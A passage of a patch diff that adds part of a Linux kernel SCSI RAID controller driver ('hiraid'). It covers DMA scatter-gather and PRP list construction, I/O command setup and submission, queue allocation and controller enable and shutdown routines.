mapbuf->first_dma = buffer_phy; + i = 0; + for (;;) { + if (i == page_size / PRP_ENTRY_SIZE) { + prior_list = phy_regpage; + + phy_regpage = dma_pool_alloc(pool, GFP_ATOMIC, &buffer_phy); + if (!phy_regpage) { + dev_err_ratelimited(hdev->dev, "allocate [%d]th admin prp list memory failed\n", + mapbuf->page_cnt + 1); + return -ENOMEM; + } + list[mapbuf->page_cnt++] = phy_regpage; + phy_regpage[0] = prior_list[i - 1]; + prior_list[i - 1] = cpu_to_le64(buffer_phy); + i = 1; + } + phy_regpage[i++] = cpu_to_le64(buf_addr); + buf_addr += page_size; + buf_length -= page_size; + maplen -= page_size; + if (maplen <= 0) + break; + if (buf_length > 0) + continue; + if (unlikely(buf_length < 0)) + goto bad_admin_sgl; + sg = sg_next(sg); + buf_addr = sg_dma_address(sg); + buf_length = sg_dma_len(sg); + } + + return 0; + +bad_admin_sgl: + dev_err(hdev->dev, "setup prps, invalid admin SGL for payload[%d] nents[%d]\n", + mapbuf->len, mapbuf->sge_cnt); + return -EIO; +} + +static int hiraid_build_prp(struct hiraid_dev *hdev, struct hiraid_mapmange *mapbuf) +{ + struct scatterlist *sg = mapbuf->sgl; + __le64 *phy_regpage, *prior_list; + u64 buf_addr = sg_dma_address(sg); + int buf_length = sg_dma_len(sg); + u32 page_size = hdev->page_size; + int offset = buf_addr & (page_size - 1); + void **list = hiraid_mapbuf_list(mapbuf); + int maplen = mapbuf->len; + struct dma_pool *pool; + dma_addr_t buffer_phy; + int nprps, i; + + maplen -= (page_size - offset); + if (maplen <= 0) { + mapbuf->first_dma = 0; + return 0; + } + + buf_length -= (page_size - offset); + if (buf_length) { + buf_addr += (page_size - offset); + } else { + sg = sg_next(sg); + buf_addr = sg_dma_address(sg); + buf_length = sg_dma_len(sg); + } + + if (maplen <= page_size) { + mapbuf->first_dma = buf_addr; + return 0; + } + + nprps = DIV_ROUND_UP(maplen, page_size); + if (nprps <= (EXTRA_POOL_SIZE / PRP_ENTRY_SIZE)) { + pool = mapbuf->hiraidq->prp_small_pool; + mapbuf->page_cnt = 0; + } else { + pool = hdev->prp_page_pool; + mapbuf->page_cnt = 1; + } + + phy_regpage = dma_pool_alloc(pool, GFP_ATOMIC, &buffer_phy); + if (!phy_regpage) { + dev_err_ratelimited(hdev->dev, "allocate first prp_list memory failed\n"); + mapbuf->first_dma = buf_addr; + mapbuf->page_cnt = -1; + return -ENOMEM; + } + list[0] = phy_regpage; + mapbuf->first_dma = buffer_phy; + i = 0; + for (;;) { + if (i == page_size / PRP_ENTRY_SIZE) { + prior_list = phy_regpage; + + phy_regpage = dma_pool_alloc(pool, GFP_ATOMIC, &buffer_phy); + if (!phy_regpage) { + dev_err_ratelimited(hdev->dev, "allocate [%d]th prp list memory failed\n", + mapbuf->page_cnt + 1); + return -ENOMEM; + } + list[mapbuf->page_cnt++] = phy_regpage; + phy_regpage[0] = prior_list[i - 1]; + prior_list[i - 1] = cpu_to_le64(buffer_phy); + i = 1; + } + phy_regpage[i++] = cpu_to_le64(buf_addr); + buf_addr += page_size; + buf_length -= page_size; + maplen -= page_size; + if (maplen <= 0) + break; + if (buf_length > 0) + continue; + if (unlikely(buf_length < 0)) + goto bad_sgl; + sg = sg_next(sg); + buf_addr = sg_dma_address(sg); + buf_length = sg_dma_len(sg); + } + + return 0; + +bad_sgl: + dev_err(hdev->dev, "setup prps, invalid SGL for payload[%d] nents[%d]\n", + mapbuf->len, mapbuf->sge_cnt); + return -EIO; +} + +#define SGES_PER_PAGE (PAGE_SIZE / sizeof(struct hiraid_sgl_desc)) + +static void hiraid_submit_cmd(struct hiraid_queue *hiraidq, const void *cmd) +{ + u32 sqes = SQE_SIZE(hiraidq->qid); + unsigned long flags; + struct hiraid_admin_com_cmd *acd = (struct hiraid_admin_com_cmd *)cmd; + + spin_lock_irqsave(&hiraidq->sq_lock, flags); + memcpy((hiraidq->sq_cmds + sqes * hiraidq->sq_tail), cmd, sqes); + if (++hiraidq->sq_tail == hiraidq->q_depth) + hiraidq->sq_tail = 0; + + writel(hiraidq->sq_tail, hiraidq->q_db); + spin_unlock_irqrestore(&hiraidq->sq_lock, flags); + + dev_log_dbg(hiraidq->hdev->dev, "cid[%d] qid[%d] opcode[0x%x] flags[0x%x] hdid[%u]\n", + le16_to_cpu(acd->cmd_id), hiraidq->qid, acd->opcode, acd->flags, + le32_to_cpu(acd->hdid)); +} + +static inline bool hiraid_is_rw_scmd(struct scsi_cmnd *scmd) +{ + switch (scmd->cmnd[0]) { + case READ_6: + case READ_10: + case READ_12: + case READ_16: + case WRITE_6: + case WRITE_10: + case WRITE_12: + case WRITE_16: + return true; + default: + return false; + } +} + +/* + * checks if prps can be built for the IO cmd + */ +static bool hiraid_is_prp(struct hiraid_dev *hdev, struct scatterlist *sgl, u32 nsge) +{ + struct scatterlist *sg = sgl; + u32 page_mask = hdev->page_size - 1; + bool is_prp = true; + u32 i = 0; + + for_each_sg(sgl, sg, nsge, i) { + /* + * Data length of the middle sge multiple of page_size, + * address page_size aligned. + */ + if (i != 0 && i != nsge - 1) { + if ((sg_dma_len(sg) & page_mask) || + (sg_dma_address(sg) & page_mask)) { + is_prp = false; + break; + } + } + + /* + * The first sge addr plus the data length meets + * the page_size alignment. + */ + if (nsge > 1 && i == 0) { + if ((sg_dma_address(sg) + sg_dma_len(sg)) & page_mask) { + is_prp = false; + break; + } + } + + /* The last sge addr meets the page_size alignment. */ + if (nsge > 1 && i == (nsge - 1)) { + if (sg_dma_address(sg) & page_mask) { + is_prp = false; + break; + } + } + } + + return is_prp; +} + +enum { + HIRAID_SGL_FMT_DATA_DESC = 0x00, + HIRAID_SGL_FMT_SEG_DESC = 0x02, + HIRAID_SGL_FMT_LAST_SEG_DESC = 0x03, + HIRAID_KEY_SGL_FMT_DATA_DESC = 0x04, + HIRAID_TRANSPORT_SGL_DATA_DESC = 0x05 +}; + +static void hiraid_sgl_set_data(struct hiraid_sgl_desc *sge, struct scatterlist *sg) +{ + sge->addr = cpu_to_le64(sg_dma_address(sg)); + sge->length = cpu_to_le32(sg_dma_len(sg)); + sge->type = HIRAID_SGL_FMT_DATA_DESC << 4; +} + +static void hiraid_sgl_set_seg(struct hiraid_sgl_desc *sge, dma_addr_t buffer_phy, int entries) +{ + sge->addr = cpu_to_le64(buffer_phy); + if (entries <= SGES_PER_PAGE) { + sge->length = cpu_to_le32(entries * sizeof(*sge)); + sge->type = HIRAID_SGL_FMT_LAST_SEG_DESC << 4; + } else { + sge->length = cpu_to_le32(PAGE_SIZE); + sge->type = HIRAID_SGL_FMT_SEG_DESC << 4; + } +} + +static int hiraid_build_passthru_sgl(struct hiraid_dev *hdev, + struct hiraid_admin_command *admin_cmd, + struct hiraid_mapmange *mapbuf) +{ + struct hiraid_sgl_desc *sg_list, *link, *old_sg_list; + struct scatterlist *sg = mapbuf->sgl; + void **list = hiraid_mapbuf_list(mapbuf); + struct dma_pool *pool; + int nsge = mapbuf->sge_cnt; + dma_addr_t buffer_phy; + int i = 0; + + admin_cmd->common.flags |= SQE_FLAG_SGL_METABUF; + + if (nsge == 1) { + hiraid_sgl_set_data(&admin_cmd->common.dptr.sgl, sg); + return 0; + } + + pool = hdev->prp_page_pool; + mapbuf->page_cnt = 1; + + sg_list = dma_pool_alloc(pool, GFP_ATOMIC, &buffer_phy); + if (!sg_list) { + dev_err_ratelimited(hdev->dev, "allocate first admin sgl_list failed\n"); + mapbuf->page_cnt = -1; + return -ENOMEM; + } + + list[0] = sg_list; + mapbuf->first_dma = buffer_phy; + hiraid_sgl_set_seg(&admin_cmd->common.dptr.sgl, buffer_phy, nsge); + do { + if (i == SGES_PER_PAGE) { + old_sg_list = sg_list; + link = &old_sg_list[SGES_PER_PAGE - 1]; + + sg_list = dma_pool_alloc(pool, GFP_ATOMIC, &buffer_phy); + if (!sg_list) { + dev_err_ratelimited(hdev->dev, "allocate [%d]th admin sgl_list failed\n", + mapbuf->page_cnt + 1); + return -ENOMEM; + } + list[mapbuf->page_cnt++] = sg_list; + + i = 0; + memcpy(&sg_list[i++], link, sizeof(*link)); + hiraid_sgl_set_seg(link, buffer_phy, nsge); + } + + hiraid_sgl_set_data(&sg_list[i++], sg); + sg = sg_next(sg); + } while (--nsge > 0); + + return 0; +} + + +static int hiraid_build_sgl(struct hiraid_dev *hdev, struct hiraid_scsi_io_cmd *io_cmd, + struct hiraid_mapmange *mapbuf) +{ + struct hiraid_sgl_desc *sg_list, *link, *old_sg_list; + struct scatterlist *sg = mapbuf->sgl; + void **list = hiraid_mapbuf_list(mapbuf); + struct dma_pool *pool; + int nsge = mapbuf->sge_cnt; + dma_addr_t buffer_phy; + int i = 0; + + io_cmd->common.flags |= SQE_FLAG_SGL_METABUF; + + if (nsge == 1) { + hiraid_sgl_set_data(&io_cmd->common.dptr.sgl, sg); + return 0; + } + + if (nsge <= (EXTRA_POOL_SIZE / sizeof(struct hiraid_sgl_desc))) { + pool = mapbuf->hiraidq->prp_small_pool; + mapbuf->page_cnt = 0; + } else { + pool = hdev->prp_page_pool; + mapbuf->page_cnt = 1; + } + + sg_list = dma_pool_alloc(pool, GFP_ATOMIC, &buffer_phy); + if (!sg_list) { + dev_err_ratelimited(hdev->dev, "allocate first sgl_list failed\n"); + mapbuf->page_cnt = -1; + return -ENOMEM; + } + + list[0] = sg_list; + mapbuf->first_dma = buffer_phy; + hiraid_sgl_set_seg(&io_cmd->common.dptr.sgl, buffer_phy, nsge); + do { + if (i == SGES_PER_PAGE) { + old_sg_list = sg_list; + link = &old_sg_list[SGES_PER_PAGE - 1]; + + sg_list = dma_pool_alloc(pool, GFP_ATOMIC, &buffer_phy); + if (!sg_list) { + dev_err_ratelimited(hdev->dev, "allocate [%d]th sgl_list failed\n", + mapbuf->page_cnt + 1); + return -ENOMEM; + } + list[mapbuf->page_cnt++] = sg_list; + + i = 0; + memcpy(&sg_list[i++], link, sizeof(*link)); + hiraid_sgl_set_seg(link, buffer_phy, nsge); + } + + hiraid_sgl_set_data(&sg_list[i++], sg); + sg = sg_next(sg); + } while (--nsge > 0); + + return 0; +} + +#define HIRAID_RW_FUA BIT(14) + +static int hiraid_setup_rw_cmd(struct hiraid_dev *hdev, + struct hiraid_scsi_rw_cmd *io_cmd, + struct scsi_cmnd *scmd) +{ + u32 start_lba_lo, start_lba_hi; + u32 datalength = 0; + u16 control = 0; + + start_lba_lo = 0; + start_lba_hi = 0; + + if (scmd->sc_data_direction == DMA_TO_DEVICE) { + io_cmd->opcode = HIRAID_CMD_WRITE; + } else if (scmd->sc_data_direction == DMA_FROM_DEVICE) { + io_cmd->opcode = HIRAID_CMD_READ; + } else { + dev_err(hdev->dev, "invalid RW_IO for unsupported data direction[%d]\n", + scmd->sc_data_direction); + WARN_ON(1); + return -EINVAL; + } + + /* 6-byte READ(0x08) or WRITE(0x0A) cdb */ + if (scmd->cmd_len == 6) { + datalength = (u32)(scmd->cmnd[4] == 0 ? + IO_6_DEFAULT_TX_LEN : scmd->cmnd[4]); + start_lba_lo = (u32)get_unaligned_be24(&scmd->cmnd[1]); + + start_lba_lo &= 0x1FFFFF; + } + + /* 10-byte READ(0x28) or WRITE(0x2A) cdb */ + else if (scmd->cmd_len == 10) { + datalength = (u32)get_unaligned_be16(&scmd->cmnd[7]); + start_lba_lo = get_unaligned_be32(&scmd->cmnd[2]); + + if (scmd->cmnd[1] & FUA_MASK) + control |= HIRAID_RW_FUA; + } + + /* 12-byte READ(0xA8) or WRITE(0xAA) cdb */ + else if (scmd->cmd_len == 12) { + datalength = get_unaligned_be32(&scmd->cmnd[6]); + start_lba_lo = get_unaligned_be32(&scmd->cmnd[2]); + + if (scmd->cmnd[1] & FUA_MASK) + control |= HIRAID_RW_FUA; + } + /* 16-byte READ(0x88) or WRITE(0x8A) cdb */ + else if (scmd->cmd_len == 16) { + datalength = get_unaligned_be32(&scmd->cmnd[10]); + start_lba_lo = get_unaligned_be32(&scmd->cmnd[6]); + start_lba_hi = get_unaligned_be32(&scmd->cmnd[2]); + + if (scmd->cmnd[1] & FUA_MASK) + control |= HIRAID_RW_FUA; + } + + if (unlikely(datalength > U16_MAX || datalength == 0)) { + dev_err(hdev->dev, "invalid IO for illegal transfer data length[%u]\n", datalength); + WARN_ON(1); + return -EINVAL; + } + + io_cmd->slba = cpu_to_le64(((u64)start_lba_hi << 32) | start_lba_lo); + /* 0base for nlb */ + io_cmd->nlb = cpu_to_le16((u16)(datalength - 1)); + io_cmd->control = cpu_to_le16(control); + + return 0; +} + +static int hiraid_setup_nonrw_cmd(struct hiraid_dev *hdev, + struct hiraid_scsi_nonrw_cmd *io_cmd, struct scsi_cmnd *scmd) +{ + io_cmd->buf_len = cpu_to_le32(scsi_bufflen(scmd)); + + switch (scmd->sc_data_direction) { + case DMA_NONE: + io_cmd->opcode = HIRAID_CMD_NONRW_NONE; + break; + case DMA_TO_DEVICE: + io_cmd->opcode = HIRAID_CMD_NONRW_TODEV; + break; + case DMA_FROM_DEVICE: + io_cmd->opcode = HIRAID_CMD_NONRW_FROMDEV; + break; + default: + dev_err(hdev->dev, "invalid NON_IO for unsupported data direction[%d]\n", + scmd->sc_data_direction); + WARN_ON(1); + return -EINVAL; + } + + return 0; +} + +static int hiraid_setup_io_cmd(struct hiraid_dev *hdev, + struct hiraid_scsi_io_cmd *io_cmd, struct scsi_cmnd *scmd) +{ + memcpy(io_cmd->common.cdb, scmd->cmnd, scmd->cmd_len); + io_cmd->common.cdb_len = scmd->cmd_len; + + if (hiraid_is_rw_scmd(scmd)) + return hiraid_setup_rw_cmd(hdev, &io_cmd->rw, scmd); + else + return hiraid_setup_nonrw_cmd(hdev, &io_cmd->nonrw, scmd); +} + +static inline void hiraid_init_mapbuff(struct hiraid_mapmange *mapbuf) +{ + mapbuf->sge_cnt = 0; + mapbuf->page_cnt = -1; + mapbuf->use_sgl = false; + WRITE_ONCE(mapbuf->state, CMD_IDLE); +} + +static void hiraid_free_mapbuf(struct hiraid_dev *hdev, struct hiraid_mapmange *mapbuf) +{ + const int last_prp = hdev->page_size / sizeof(__le64) - 1; + dma_addr_t buffer_phy, next_buffer_phy; + struct hiraid_sgl_desc *sg_list; + __le64 *prp_list; + void *addr; + int i; + + buffer_phy = mapbuf->first_dma; + if (mapbuf->page_cnt == 0) + dma_pool_free(mapbuf->hiraidq->prp_small_pool, + hiraid_mapbuf_list(mapbuf)[0], buffer_phy); + + for (i = 0; i < mapbuf->page_cnt; i++) { + addr = hiraid_mapbuf_list(mapbuf)[i]; + + if (mapbuf->use_sgl) { + sg_list = addr; + next_buffer_phy = + le64_to_cpu((sg_list[SGES_PER_PAGE - 1]).addr); + } else { + prp_list = addr; + next_buffer_phy = le64_to_cpu(prp_list[last_prp]); + } + + dma_pool_free(hdev->prp_page_pool, addr, buffer_phy); + buffer_phy = next_buffer_phy; + } + + mapbuf->sense_buffer_virt = NULL; + mapbuf->page_cnt = -1; +} + +static int hiraid_io_map_data(struct hiraid_dev *hdev, struct hiraid_mapmange *mapbuf, + struct scsi_cmnd *scmd, struct hiraid_scsi_io_cmd *io_cmd) +{ + int ret; + + ret = scsi_dma_map(scmd); + if (unlikely(ret < 0)) + return ret; + mapbuf->sge_cnt = ret; + + /* No data to DMA, it may be scsi no-rw command */ + if (unlikely(mapbuf->sge_cnt == 0)) + return 0; + + mapbuf->len = scsi_bufflen(scmd); + mapbuf->sgl = scsi_sglist(scmd); + mapbuf->use_sgl = !hiraid_is_prp(hdev, mapbuf->sgl, mapbuf->sge_cnt); + + if (mapbuf->use_sgl) { + ret = hiraid_build_sgl(hdev, io_cmd, mapbuf); + } else { + ret = hiraid_build_prp(hdev, mapbuf); + io_cmd->common.dptr.prp1 = + cpu_to_le64(sg_dma_address(mapbuf->sgl)); + io_cmd->common.dptr.prp2 = cpu_to_le64(mapbuf->first_dma); + } + + if (ret) + scsi_dma_unmap(scmd); + + return ret; +} + +static void hiraid_check_status(struct hiraid_mapmange *mapbuf, struct scsi_cmnd *scmd, + struct hiraid_completion *cqe) +{ + scsi_set_resid(scmd, 0); + + switch ((le16_to_cpu(cqe->status) >> 1) & 0x7f) { + case SENSE_STATE_OK: + set_host_byte(scmd, DID_OK); + break; + case SENSE_STATE_NEED_CHECK: + set_host_byte(scmd, DID_OK); + scmd->result |= le16_to_cpu(cqe->status) >> 8; + if (scmd->result & SAM_STAT_CHECK_CONDITION) { + memset(scmd->sense_buffer, 0, SCSI_SENSE_BUFFERSIZE); + memcpy(scmd->sense_buffer, + mapbuf->sense_buffer_virt, SCSI_SENSE_BUFFERSIZE); + scmd->result = (scmd->result & 0x00ffffff) | (DRIVER_SENSE << 24); + } + break; + case SENSE_STATE_ABORTED: + set_host_byte(scmd, DID_ABORT); + break; + case SENSE_STATE_NEED_RETRY: + set_host_byte(scmd, DID_REQUEUE); + break; + default: + set_host_byte(scmd, DID_BAD_TARGET); + dev_warn_ratelimited(mapbuf->hiraidq->hdev->dev, "cid[%d] qid[%d] sdev[%d:%d] opcode[%.2x] bad status[0x%x]\n", + le16_to_cpu(cqe->cmd_id), le16_to_cpu(cqe->sq_id), scmd->device->channel, + scmd->device->id, scmd->cmnd[0], le16_to_cpu(cqe->status)); + break; + } +} + +static inline void hiraid_query_scmd_tag(struct scsi_cmnd *scmd, u16 *qid, u16 *cid, + struct hiraid_dev *hdev, struct hiraid_sdev_hostdata *hostdata) +{ + u32 tag = blk_mq_unique_tag(blk_mq_rq_from_pdu((void *)scmd)); + + if (work_mode) { + if ((hdev->hdd_dispatch == DISPATCH_BY_DISK) && (hostdata->hwq != 0)) + *qid = hostdata->hwq; + else + *qid = raw_smp_processor_id() % (hdev->online_queues - 1) + 1; + } else { + *qid = blk_mq_unique_tag_to_hwq(tag) + 1; + } + *cid = blk_mq_unique_tag_to_tag(tag); +} + +static int hiraid_queue_command(struct Scsi_Host *shost, struct scsi_cmnd *scmd) +{ + struct hiraid_mapmange *mapbuf = scsi_cmd_priv(scmd); + struct hiraid_dev *hdev = shost_priv(shost); + struct scsi_device *sdev = scmd->device; + struct hiraid_sdev_hostdata *hostdata; + struct hiraid_scsi_io_cmd io_cmd; + struct hiraid_queue *ioq; + u16 hwq, cid; + int ret; + + if (unlikely(hdev->state == DEV_RESETTING)) + return SCSI_MLQUEUE_HOST_BUSY; + + if (unlikely(hdev->state != DEV_LIVE)) { + set_host_byte(scmd, DID_NO_CONNECT); + scmd->scsi_done(scmd); + return 0; + } + + if (log_debug_switch) + scsi_print_command(scmd); + + hostdata = sdev->hostdata; + hiraid_query_scmd_tag(scmd, &hwq, &cid, hdev, hostdata); + ioq = &hdev->queues[hwq]; + + if (unlikely(atomic_inc_return(&ioq->inflight) > + (hdev->ioq_depth - HIRAID_PTHRU_CMDS_PERQ))) { + atomic_dec(&ioq->inflight); + return SCSI_MLQUEUE_HOST_BUSY; + } + + memset(&io_cmd, 0, sizeof(io_cmd)); + io_cmd.rw.hdid = cpu_to_le32(hostdata->hdid); + io_cmd.rw.cmd_id = cpu_to_le16(cid); + + ret = hiraid_setup_io_cmd(hdev, &io_cmd, scmd); + if (unlikely(ret)) { + set_host_byte(scmd, DID_ERROR); + scmd->scsi_done(scmd); + atomic_dec(&ioq->inflight); + return 0; + } + + ret = cid * SCSI_SENSE_BUFFERSIZE; + if (work_mode) { + mapbuf->sense_buffer_virt = hdev->sense_buffer_virt + ret; + mapbuf->sense_buffer_phy = hdev->sense_buffer_phy + ret; + } else { + mapbuf->sense_buffer_virt = ioq->sense_buffer_virt + ret; + mapbuf->sense_buffer_phy = ioq->sense_buffer_phy + ret; + } + io_cmd.common.sense_addr = cpu_to_le64(mapbuf->sense_buffer_phy); + io_cmd.common.sense_len = cpu_to_le16(SCSI_SENSE_BUFFERSIZE); + + hiraid_init_mapbuff(mapbuf); + + mapbuf->hiraidq = ioq; + mapbuf->cid = cid; + ret = hiraid_io_map_data(hdev, mapbuf, scmd, &io_cmd); + if (unlikely(ret)) { + dev_err(hdev->dev, "io map data err\n"); + set_host_byte(scmd, DID_ERROR); + scmd->scsi_done(scmd); + ret = 0; + goto deinit_iobuf; + } + + WRITE_ONCE(mapbuf->state, CMD_FLIGHT); + hiraid_submit_cmd(ioq, &io_cmd); + + return 0; + +deinit_iobuf: + atomic_dec(&ioq->inflight); + hiraid_free_mapbuf(hdev, mapbuf); + return ret; +} + +static int hiraid_match_dev(struct hiraid_dev *hdev, u16 idx, struct scsi_device *sdev) +{ + if (HIRAID_DEV_INFO_FLAG_VALID(hdev->dev_info[idx].flag)) { + if (sdev->channel == hdev->dev_info[idx].channel && + sdev->id == le16_to_cpu(hdev->dev_info[idx].target) && + sdev->lun < hdev->dev_info[idx].lun) { + dev_info(hdev->dev, "match device success, channel:target:lun[%d:%d:%d]\n", + hdev->dev_info[idx].channel, + hdev->dev_info[idx].target, + hdev->dev_info[idx].lun); + return 1; + } + } + + return 0; +} + +static int hiraid_disk_qd(u8 attr) +{ + switch (HIRAID_DEV_DISK_TYPE(attr)) { + case HIRAID_SAS_HDD_VD: + case HIRAID_SATA_HDD_VD: + return HIRAID_HDD_VD_QD; + case HIRAID_SAS_SSD_VD: + case HIRAID_SATA_SSD_VD: + case HIRAID_NVME_SSD_VD: + return HIRAID_SSD_VD_QD; + case HIRAID_SAS_HDD_PD: + case HIRAID_SATA_HDD_PD: + return HIRAID_HDD_PD_QD; + case HIRAID_SAS_SSD_PD: + case HIRAID_SATA_SSD_PD: + case HIRAID_NVME_SSD_PD: + return HIRAID_SSD_PD_QD; + default: + return MAX_CMD_PER_DEV; + } +} + +static bool hiraid_disk_is_hdd(u8 attr) +{ + switch (HIRAID_DEV_DISK_TYPE(attr)) { + case HIRAID_SAS_HDD_VD: + case HIRAID_SATA_HDD_VD: + case HIRAID_SAS_HDD_PD: + case HIRAID_SATA_HDD_PD: + return true; + default: + return false; + } +} + +static int hiraid_slave_alloc(struct scsi_device *sdev) +{ + struct hiraid_sdev_hostdata *hostdata; + struct hiraid_dev *hdev; + u16 idx; + + hdev = shost_priv(sdev->host); + hostdata = kzalloc(sizeof(*hostdata), GFP_KERNEL); + if (!hostdata) { + dev_err(hdev->dev, "alloc scsi host data memory failed\n"); + return -ENOMEM; + } + + down_read(&hdev->dev_rwsem); + for (idx = 0; idx < le32_to_cpu(hdev->ctrl_info->nd); idx++) { + if (hiraid_match_dev(hdev, idx, sdev)) + goto scan_host; + } + up_read(&hdev->dev_rwsem); + + kfree(hostdata); + return -ENXIO; + +scan_host: + hostdata->hdid = le32_to_cpu(hdev->dev_info[idx].hdid); + hostdata->max_io_kb = le16_to_cpu(hdev->dev_info[idx].max_io_kb); + hostdata->attr = hdev->dev_info[idx].attr; + hostdata->flag = hdev->dev_info[idx].flag; + hostdata->rg_id = 0xff; + sdev->hostdata = hostdata; + up_read(&hdev->dev_rwsem); + return 0; +} + +static void hiraid_slave_destroy(struct scsi_device *sdev) +{ + kfree(sdev->hostdata); + sdev->hostdata = NULL; +} + +static int hiraid_slave_configure(struct scsi_device *sdev) +{ + unsigned int timeout = scmd_tmout_rawdisk * HZ; + struct hiraid_dev *hdev = shost_priv(sdev->host); + struct hiraid_sdev_hostdata *hostdata = sdev->hostdata; + u32 max_sec = sdev->host->max_sectors; + int qd = MAX_CMD_PER_DEV; + + if (hostdata) { + if (HIRAID_DEV_INFO_ATTR_VD(hostdata->attr)) + timeout = scmd_tmout_vd * HZ; + else if (HIRAID_DEV_INFO_ATTR_RAWDISK(hostdata->attr)) + timeout = scmd_tmout_rawdisk * HZ; + max_sec = hostdata->max_io_kb << 1; + qd = hiraid_disk_qd(hostdata->attr); + + if (hiraid_disk_is_hdd(hostdata->attr)) + hostdata->hwq = hostdata->hdid % (hdev->online_queues - 1) + 1; + else + hostdata->hwq = 0; + } else { + dev_err(hdev->dev, "err, sdev->hostdata is null\n"); + } + + blk_queue_rq_timeout(sdev->request_queue, timeout); + sdev->eh_timeout = timeout; + scsi_change_queue_depth(sdev, qd); + + if ((max_sec == 0) || (max_sec > sdev->host->max_sectors)) + max_sec = sdev->host->max_sectors; + + if (!max_io_force) + blk_queue_max_hw_sectors(sdev->request_queue, max_sec); + + dev_info(hdev->dev, "sdev->channel:id:lun[%d:%d:%lld] scmd_timeout[%d]s maxsec[%d]\n", + sdev->channel, sdev->id, sdev->lun, timeout / HZ, max_sec); + + return 0; +} + +static void hiraid_shost_init(struct hiraid_dev *hdev) +{ + struct pci_dev *pdev = hdev->pdev; + u8 domain, bus; + u32 dev_func; + + domain = pci_domain_nr(pdev->bus); + bus = pdev->bus->number; + dev_func = pdev->devfn; + + hdev->shost->nr_hw_queues = work_mode ? 1 : hdev->online_queues - 1; + hdev->shost->can_queue = hdev->scsi_qd; + + hdev->shost->sg_tablesize = le16_to_cpu(hdev->ctrl_info->max_num_sge); + /* 512B per sector */ + hdev->shost->max_sectors = (1U << ((hdev->ctrl_info->mdts) * 1U) << 12) / 512; + hdev->shost->cmd_per_lun = MAX_CMD_PER_DEV; + hdev->shost->max_channel = le16_to_cpu(hdev->ctrl_info->max_channel) - 1; + hdev->shost->max_id = le32_to_cpu(hdev->ctrl_info->max_tgt_id); + hdev->shost->max_lun = le16_to_cpu(hdev->ctrl_info->max_lun); + + hdev->shost->this_id = -1; + hdev->shost->unique_id = (domain << 16) | (bus << 8) | dev_func; + hdev->shost->max_cmd_len = MAX_CDB_LEN; + hdev->shost->hostt->cmd_size = hiraid_get_max_cmd_size(hdev); +} + +static int hiraid_alloc_queue(struct hiraid_dev *hdev, u16 qid, u16 depth) +{ + struct hiraid_queue *hiraidq = &hdev->queues[qid]; + int ret = 0; + + if (hdev->queue_count > qid) { + dev_info(hdev->dev, "warn: queue[%d] is exist\n", qid); + return 0; + } + + hiraidq->cqes = dma_alloc_coherent(hdev->dev, CQ_SIZE(depth), + &hiraidq->cq_buffer_phy, GFP_KERNEL | __GFP_ZERO); + if (!hiraidq->cqes) + return -ENOMEM; + + hiraidq->sq_cmds = dma_alloc_coherent(hdev->dev, SQ_SIZE(qid, depth), + &hiraidq->sq_buffer_phy, GFP_KERNEL); + if (!hiraidq->sq_cmds) { + ret = -ENOMEM; + goto free_cqes; + } + + /* + * if single hw queue, we do not need to alloc sense buffer for every queue, + * we have alloced all on hiraid_alloc_resources. + */ + if (work_mode) + goto initq; + + /* alloc sense buffer */ + hiraidq->sense_buffer_virt = dma_alloc_coherent(hdev->dev, SENSE_SIZE(depth), + &hiraidq->sense_buffer_phy, GFP_KERNEL | __GFP_ZERO); + if (!hiraidq->sense_buffer_virt) { + ret = -ENOMEM; + goto free_sq_cmds; + } + +initq: + spin_lock_init(&hiraidq->sq_lock); + spin_lock_init(&hiraidq->cq_lock); + hiraidq->hdev = hdev; + hiraidq->q_depth = depth; + hiraidq->qid = qid; + hiraidq->cq_vector = -1; + hdev->queue_count++; + + return 0; + +free_sq_cmds: + dma_free_coherent(hdev->dev, SQ_SIZE(qid, depth), (void *)hiraidq->sq_cmds, + hiraidq->sq_buffer_phy); +free_cqes: + dma_free_coherent(hdev->dev, CQ_SIZE(depth), (void *)hiraidq->cqes, + hiraidq->cq_buffer_phy); + return ret; +} + +static int hiraid_wait_control_ready(struct hiraid_dev *hdev, u64 cap, bool enabled) +{ + unsigned long timeout = + ((HIRAID_CAP_TIMEOUT(cap) + 1) * HIRAID_CAP_TIMEOUT_UNIT_MS) + jiffies; + u32 bit = enabled ? HIRAID_CSTS_RDY : 0; + + while ((readl(hdev->bar + HIRAID_REG_CSTS) & HIRAID_CSTS_RDY) != bit) { + usleep_range(1000, 2000); + if (fatal_signal_pending(current)) + return -EINTR; + + if (time_after(jiffies, timeout)) { + dev_err(hdev->dev, "device not ready; aborting %s\n", + enabled ? "initialisation" : "reset"); + return -ENODEV; + } + } + return 0; +} + +static int hiraid_shutdown_control(struct hiraid_dev *hdev) +{ + unsigned long timeout = le32_to_cpu(hdev->ctrl_info->rtd3e) / 1000000 * HZ + jiffies; + + hdev->ctrl_config &= ~HIRAID_CC_SHN_MASK; + hdev->ctrl_config |= HIRAID_CC_SHN_NORMAL; + writel(hdev->ctrl_config, hdev->bar + HIRAID_REG_CC); + + while ((readl(hdev->bar + HIRAID_REG_CSTS) & HIRAID_CSTS_SHST_MASK) != + HIRAID_CSTS_SHST_CMPLT) { + msleep(100); + if (fatal_signal_pending(current)) + return -EINTR; + if (time_after(jiffies, timeout)) { + dev_err(hdev->dev, "device shutdown incomplete, abort shutdown\n"); + return -ENODEV; + } + } + return 0; +} + +static int hiraid_disable_control(struct hiraid_dev *hdev) +{ + hdev->ctrl_config &= ~HIRAID_CC_SHN_MASK; + hdev->ctrl_config &= ~HIRAID_CC_ENABLE; + writel(hdev->ctrl_config, hdev->bar + HIRAID_REG_CC); + + return hiraid_wait_control_ready(hdev, hdev->cap, false); +} + +static int hiraid_enable_control(struct hiraid_dev *hdev) +{ + u64 cap = hdev->cap; + u32 dev_page_min = HIRAID_CAP_MPSMIN(cap) + 12; + u32 page_shift = PAGE_SHIFT; + + if (page_shift < dev_page_min) { + dev_err(hdev->dev, "minimum device page size[%u], too large for host[%u]\n", + 1U << dev_page_min, 1U << page_shift); + return -ENODEV; + } + + page_shift = min_t(unsigned int, HIRAID_CAP_MPSMAX(cap) + 12, PAGE_SHIFT); + hdev->page_size = 1U << page_shift; + + hdev->ctrl_config = HIRAID_CC_CSS_NVM; + hdev->ctrl_config |= (page_shift - 12) << HIRAID_CC_MPS_SHIFT; + hdev->ctrl_config |= HIRAID_CC_AMS_RR | HIRAID_CC_SHN_NONE; + hdev->ctrl_config |= HIRAID_CC_IOSQES | HIRAID_CC_IOCQES; + hdev->ctrl_config |= HIRAID_CC_ENABLE; + writel(hdev->ctrl_config, hdev->bar + HIRAID_REG_CC); + + 